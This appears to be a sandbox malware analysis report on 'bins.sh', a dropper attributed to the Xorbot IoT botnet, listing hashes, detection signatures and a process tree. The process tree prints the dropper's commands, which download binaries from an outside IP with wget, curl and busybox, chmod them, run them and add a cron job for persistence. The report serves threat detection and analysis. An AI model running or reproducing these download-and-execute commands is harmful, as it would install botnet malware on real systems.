Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18-02-2025 09:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    baf676de758311269e746d637d2a747e

  • SHA1

    d5f964a6f71d2a8484edcff5087bf0544283289d

  • SHA256

    ef03ff0ecab2f958dc1ba68a26b9a787dde395500fbae9ed2b9fcee67650983f

  • SHA512

    4d89a5116d365d7b9f927b4a139a08e96c4019a2e54a39efbbcb7683ffc7614a61a7380b55670ee4343205e3d8300ae9d7b1d0981e8e3c1eb9605a68a3fd8dd7

  • SSDEEP

    192:SOj4sdd2LyQ232n234kpSuRAIh/MHTEVRP4hFyvHY6232n234kbSuRAIh6HTEVR6:SOksdd2LyQoomMHTEVlu6ooRHTEVlgdH

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2157) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1498
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1499
      • /usr/bin/wget
        wget http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        2⤵
        • Writes file to tmp directory
        PID:1500
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        2⤵
        • Writes file to tmp directory
        PID:1505
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        2⤵
        • Writes file to tmp directory
        PID:1506
      • /bin/chmod
        chmod 777 NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        2⤵
        • File and Directory Permissions Modification
        PID:1507
      • /tmp/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        ./NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
        2⤵
          PID:1508
        • /bin/rm
          rm NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO
          2⤵
            PID:1510
          • /usr/bin/wget
            wget http://37.44.238.88/bins/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1511
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1512
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1513
          • /bin/chmod
            chmod 777 iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • File and Directory Permissions Modification
            PID:1514
          • /tmp/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            ./iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • System Network Configuration Discovery
            PID:1515
          • /bin/rm
            rm iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF
            2⤵
            • System Network Configuration Discovery
            PID:1517
          • /usr/bin/wget
            wget http://37.44.238.88/bins/t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            2⤵
            • Writes file to tmp directory
            PID:1519
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /bin/chmod
            chmod 777 t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            2⤵
            • File and Directory Permissions Modification
            PID:1521
          • /tmp/t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            ./t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
            2⤵
              PID:1522
            • /bin/rm
              rm t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT
              2⤵
                PID:1524
              • /usr/bin/wget
                wget http://37.44.238.88/bins/wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/chmod
                chmod 777 wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                2⤵
                • File and Directory Permissions Modification
                PID:1528
              • /tmp/wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                ./wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                2⤵
                  PID:1529
                • /bin/rm
                  rm wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r
                  2⤵
                    PID:1531
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    2⤵
                    • Writes file to tmp directory
                    PID:1532
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    2⤵
                    • Writes file to tmp directory
                    PID:1533
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /bin/chmod
                    chmod 777 F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1535
                  • /tmp/F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    ./F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                    2⤵
                      PID:1536
                    • /bin/rm
                      rm F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i
                      2⤵
                        PID:1538
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        2⤵
                        • Writes file to tmp directory
                        PID:1539
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        2⤵
                        • Writes file to tmp directory
                        PID:1540
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        2⤵
                        • Writes file to tmp directory
                        PID:1541
                      • /bin/chmod
                        chmod 777 R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1542
                      • /tmp/R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        ./R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                        2⤵
                          PID:1543
                        • /bin/rm
                          rm R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT
                          2⤵
                            PID:1545
                          • /usr/bin/wget
                            wget http://37.44.238.88/bins/qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            2⤵
                            • Writes file to tmp directory
                            PID:1546
                          • /usr/bin/curl
                            curl -O http://37.44.238.88/bins/qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            2⤵
                            • Writes file to tmp directory
                            PID:1547
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            2⤵
                            • Writes file to tmp directory
                            PID:1548
                          • /bin/chmod
                            chmod 777 qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1549
                          • /tmp/qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            ./qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:1550
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:1552
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:1553
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:1554
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:1555
                                • /bin/rm
                                  rm qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW
                                  2⤵
                                    PID:1557
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/doSMdtSyImgXIZSXPo23jyBRdg4skyRTpH
                                    2⤵
                                      PID:1560

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/F8Na3OD1wjnDJqS0d8O1hHo6wicI7hsQ2i

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/R17lH9doxXuvDKjgO6TCSJSCMZLN4iXCMT

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/qCY3qB1PomkVyXijlAW7Yzt53X9ncbwxtW

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/t3D3iZzbTCibnkFhhIsyMu5Q6BCl0gMTGT

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/wOeQG15lHXDwBqOx2NfuaI7yvMqvcuZ29r

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /var/spool/cron/crontabs/tmp.Edry2O

                                    Filesize

                                    210B

                                    MD5

                                    74ca577d221ee070aaae0b846489e33f

                                    SHA1

                                    971ff462208aeb06452e04b4f672f237636d97b7

                                    SHA256

                                    6fbcc0db423a0e6cb304b71df55223a99c4a83a10749e0d3c314b725077df9af

                                    SHA512

                                    379653690487b8c8f66efe1c1e88af65acea416a0cd5512df5a7b68d58ee07e2d6d4ee047b58aefb102da4c1e855a6ba66d7e0c2605fdd277536f00e7b41f84e